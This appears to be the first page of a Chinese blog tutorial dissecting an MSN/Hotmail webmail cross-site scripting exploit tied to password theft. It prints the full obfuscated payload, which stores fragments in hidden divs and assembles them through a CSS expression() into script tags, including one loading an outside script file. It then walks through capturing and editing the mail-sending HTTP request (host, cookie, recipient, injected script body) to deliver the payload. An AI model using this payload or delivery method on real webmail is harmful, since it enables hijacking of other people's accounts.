早在几天前,听到同事说“朋友msn发来一个网页,自己输入了密码,结果过了几天后,MSN密码错误,可能是被盗了。”当时还问同事要地址,他却说找不到地址了。几天后朋友说看到幻影发出了msn跨站代码,于是自己下载exp研究半天,终于利用成功。
原代码很乱,排版后如下:
1 <font color="ffffff">
2 <div id="jmp" style="display:none">nop</div>
3 <div id="ly" style="display:none"> //这几个DIV是用来分段存储exp内容的
4 function ok(){return true};
5 window.onerror=ok
6 </div>
7 <div id="tip" title="<a style="display:none">" style="display:none"></div>
8 <div id="tap" title="<" style="display:none"></div>
9 <div id="tep" title=">" style="display:none"></div>
10 <style>
11 //以下是EXP的开始,一个二元表达式内嵌利用代码。代码把div中存储的内容取出来然后加一起,形成了最终shellcode。
12 div{background-image:expression(
13 javascript:1?document.write(
14 EC_tip.title+';top:'+EC_tap.title+'/a'+
15 EC_tep.title+EC_tap.title+'script id=nop'+
16 EC_tep.title+EC_ly.innerHTML+EC_tap.title+'/script'+
17 EC_tep.title+EC_tap.title+
18 'script src=http://localhost/1.js'+
19 EC_tep.title+EC_tap.title+'/script'+
20 EC_tep.title)
21 :1=1);
22 }
23 </style>
24 </font>
不知道是哪个大牛发现的漏洞写出了代码。要知道MSN不可能对跨站的代码,也就是邮件内容不做过滤。所以这段代码一定是某牛的思维精华,精巧的绕过了MSN对邮件内容的层层验证。而我们要学习的是思想,漏洞代码这种东西,今天能用,明天人家就补上了。
用DOM解析来分析代码,会容易些。首先看最外层,一对<font>标签。作者并不怎么用MSN来发信,所以不了解MSN邮箱的编辑模式,不了解怎样编辑邮件内容才能出现这对标签。不过最外面的标签既然可以这么写,说明MSN至少允许一部分HTML代码执行。测试给自己邮箱发信,发现MSN提供的邮箱不能直接发HTML,只能用自带编辑器给新建内容加样式。看来如果一定要发html,就要抓包了。
邮件发送和接收协议分别是SMTP和POP,但是MSN却让我们从网站上发送邮件,把邮件提交给一个网页文件,这说明MSN在接收到我们给该网页所提交的信息后,在后台处理了那些过程。一个MSN发信的包里,有如下几个重要内容:
POST /mail/SendMessageLight.aspx?_ec=1&n=578891127 HTTP/1.1
把信件内容提交给这个文件,之后发送过程由该文件在MSN服务器上执行。
Host: by111w.bay111.mail.live.com
主机地址,这个要记下来, NC提交的时候用。
发送包的长度,如果修改了包内容,也要相应修改包长度。
COOKIE就不说了,一定要有的,证明你的身份,因为是HTTP协议,所以一旦登录过后退出了,之前抓到的cookie就无效了。
Content-Disposition: form-data; name="fTo"
notconn@hotmail.com
-----------------------------7d830d6a0738
看到“fTo”了吧?顾名思义,这里需要填写信件发送到哪里。这里也要进行欺骗时一定要修改的地方之一。
Content-Disposition: form-data; name="fMessageBody"
<STRONG>ddddd</STRONG><div id="test" name="test" title="test">test</div><script>alert('s');</script>
-----------------------------7d830d6a0738
1 2 3 下一页